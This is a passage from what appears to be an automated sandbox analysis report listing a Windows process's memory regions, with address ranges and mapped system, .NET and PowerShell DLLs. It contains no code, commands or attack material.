entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 3288 start_va = 0x2e0000 end_va = 0x2e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 3289 start_va = 0x1fd0000 end_va = 0x229efff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3290 start_va = 0x23e0000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 3291 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3292 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3293 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3294 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3295 start_va = 0x300000 end_va = 0x31ffff entry_point = 0x300000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 3296 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 3297 start_va = 0x22a0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 3298 start_va = 0x2460000 end_va = 0x2852fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002460000" filename = "" Region: id = 3299 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3300 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3301 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3302 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3303 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3304 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 3305 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 3306 start_va = 0x2f0000 end_va = 0x2f3fff entry_point = 0x2f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3307 start_va = 0x330000 end_va = 0x35ffff entry_point = 0x330000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 3308 start_va = 0x1c80000 end_va = 0x1c83fff entry_point = 0x1c80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3309 start_va = 0x1dc0000 end_va = 0x1e25fff entry_point = 0x1dc0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 3310 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 3311 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 3312 start_va = 0x28f0000 end_va = 0x296ffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3313 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 3314 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3315 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3316 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3317 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3318 start_va = 0x1c90000 end_va = 0x1c90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c90000" filename = "" Region: id = 3319 start_va = 0x2af0000 end_va = 0x2b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002af0000" filename = "" Region: id = 3320 start_va = 0x75780000 end_va = 0x75848fff entry_point = 0x75780000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 3321 start_va = 0x7fef3030000 end_va = 0x7fef39ccfff entry_point = 0x7fef3030000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 3322 start_va = 0x7fef9130000 end_va = 0x7fef91c8fff entry_point = 0x7fef9130000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3323 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3324 start_va = 0x1ca0000 end_va = 0x1ca2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ca0000" filename = "" Region: id = 3325 start_va = 0x1cb0000 end_va = 0x1cb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cb0000" filename = "" Region: id = 3326 start_va = 0x1cc0000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 3327 start_va = 0x2870000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 3328 start_va = 0x2970000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3329 start_va = 0x2a80000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 3330 start_va = 0x2c40000 end_va = 0x2cbffff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 3331 start_va = 0x2cc0000 end_va = 0x1acbffff entry_point = 0x0 region_type = private name = "private_0x0000000002cc0000" filename = "" Region: id = 3332 start_va = 0x1acc0000 end_va = 0x1b38ffff entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 3333 start_va = 0x1b390000 end_va = 0x1b490fff entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 3334 start_va = 0x7fef2150000 end_va = 0x7fef302bfff entry_point = 0x7fef2150000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 3335 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 3336 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 3337 start_va = 0x7ff00050000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 3338 start_va = 0x7ff000f0000 end_va = 0x7ff000fffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 3339 start_va = 0x7ff00100000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 3340 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3341 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3342 start_va = 0x1ce0000 end_va = 0x1ceffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 3343 start_va = 0x1b4a0000 end_va = 0x1b781fff entry_point = 0x1b4a0000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 3344 start_va = 0x7fef1720000 end_va = 0x7fef2142fff entry_point = 0x7fef1720000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 3345 start_va = 0x7fef7f50000 end_va = 0x7fef8001fff entry_point = 0x7fef7f50000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 3346 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 3347 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3348 start_va = 0x7fffff20000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 3349 start_va = 0x7fef0bc0000 end_va = 0x7fef171cfff entry_point = 0x7fef0bc0000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 3350 start_va = 0x1d00000 end_va = 0x1d02fff entry_point = 0x1d00000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 3351 start_va = 0x2320000 end_va = 0x23dffff entry_point = 0x2320000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3352 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3353 start_va = 0x1d10000 end_va = 0x1d10fff entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 3354 start_va = 0x1d20000 end_va = 0x1d24fff entry_point = 0x1d20000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 3355 start_va = 0x2a90000 end_va = 0x2ad0fff entry_point = 0x2a90000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 3356 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 3357 start_va = 0x1d30000 end_va = 0x1d37fff entry_point = 0x1d30000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 3358 start_va = 0x1e30000 end_va = 0x1e30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 3359 start_va = 0x1b790000 end_va = 0x1b88ffff entry_point = 0x0 region_type = private name = "private_0x000000001b790000" filename = "" Region: id = 3360 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3361 start_va = 0x7fef07a0000 end_va = 0x7fef0884fff entry_point = 0x7fef07a0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 3362 start_va = 0x7fef0890000 end_va = 0x7fef0bbdfff entry_point = 0x7fef0890000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 3363 start_va = 0x7fef7ea0000 end_va = 0x7fef7f49fff entry_point = 0x7fef7ea0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 3364 start_va = 0x7fef80b0000 end_va = 0x7fef8118fff entry_point = 0x7fef80b0000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 3365 start_va = 0x7fef9210000 end_va = 0x7fef9241fff entry_point = 0x7fef9210000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 3366 start_va = 0x1e40000 end_va = 0x1e40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 3367 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 3368 start_va = 0x7fef0460000 end_va = 0x7fef0577fff entry_point = 0x7fef0460000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 3369 start_va = 0x7fef0580000 end_va = 0x7fef0795fff entry_point = 0x7fef0580000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 3370 start_va = 0x7fef90f0000 end_va = 0x7fef912dfff entry_point = 0x7fef90f0000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 3371 start_va = 0x2b70000 end_va = 0x2bc3fff entry_point = 0x2b70000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 3372 start_va = 0x7feefaa0000 end_va = 0x7feefc34fff entry_point = 0x7feefaa0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 3373 start_va = 0x7feefc40000 end_va = 0x7feefdabfff entry_point = 0x7feefc40000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 3374 start_va = 0x7feefdb0000 end_va = 0x7fef0454fff entry_point = 0x7feefdb0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 3375 start_va = 0x7fefbb40000 end_va = 0x7fefbb46fff entry_point = 0x7fefbb40000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 3376 start_va = 0x1e40000 end_va = 0x1e50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 3377 start_va = 0x1e60000 end_va = 0x1e60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 3378 start_va = 0x7feef910000 end_va = 0x7feefa93fff entry_point = 0x7feef910000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 3379 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 3380 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 3381 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 3382 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 3383 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 3384 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 3385 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 3386 start_va = 0x2860000 end_va = 0x2860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002860000" filename = "" Region: id = 3387 start_va = 0x1b890000 end_va = 0x1b98ffff entry_point = 0x0 region_type = private name = "private_0x000000001b890000" filename = "" Region: id = 3388 start_va = 0x1b990000 end_va = 0x1bc8efff entry_point = 0x1b990000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3389 start_va = 0x7feef0c0000 end_va = 0x7feef90afff entry_point = 0x7feef0c0000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 3390 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3391 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3392 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3393 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3394 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3395 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3396 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 3397 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 3398 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 3399 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 3400 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 3401 start_va = 0x2a70000 end_va = 0x2a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3402 start_va = 0x2ae0000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 3403 start_va = 0x2bd0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 3404 start_va = 0x2be0000 end_va = 0x2beffff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 3405 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 3406 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 3407 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 3408 start_va = 0x1bdf0000 end_va = 0x1c77ffff entry_point = 0x0 region_type = private name = "private_0x000000001bdf0000" filename = "" Region: id = 3409 start_va = 0x7feeef70000 end_va = 0x7feef0b2fff 